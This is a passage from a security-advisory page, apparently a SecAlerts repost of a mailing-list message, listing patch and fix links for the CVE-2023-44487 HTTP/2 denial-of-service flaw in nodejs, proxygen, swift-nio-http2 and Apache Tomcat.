- nodejs: https://github.com/nodejs/node/pull/50121

- proxygen: https://github.com/facebook/proxygen/pull/466

- swift-nio-http2: https://forums.swift.org/t/swift-nio-http2-security-update-cve-2023-44487-http-2-dos/67764

- tomcat: https://tomcat.apache.org/security-11.html#FixedinApacheTomcat11.0.0-M12 https://tomcat.apache.org/security-10.html#FixedinApacheTomcat10.1.14 https://tomcat.apache.org/security-9.html#FixedinApacheTomcat9.0.81 https://tomcat.apache.org/security-8.html#FixedinApacheTomcat8.5.94

-- -Alan Coopersmith- alan.coopersmith () oracle com Oracle Solaris Engineering - https://blogs.oracle.com/solaris

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203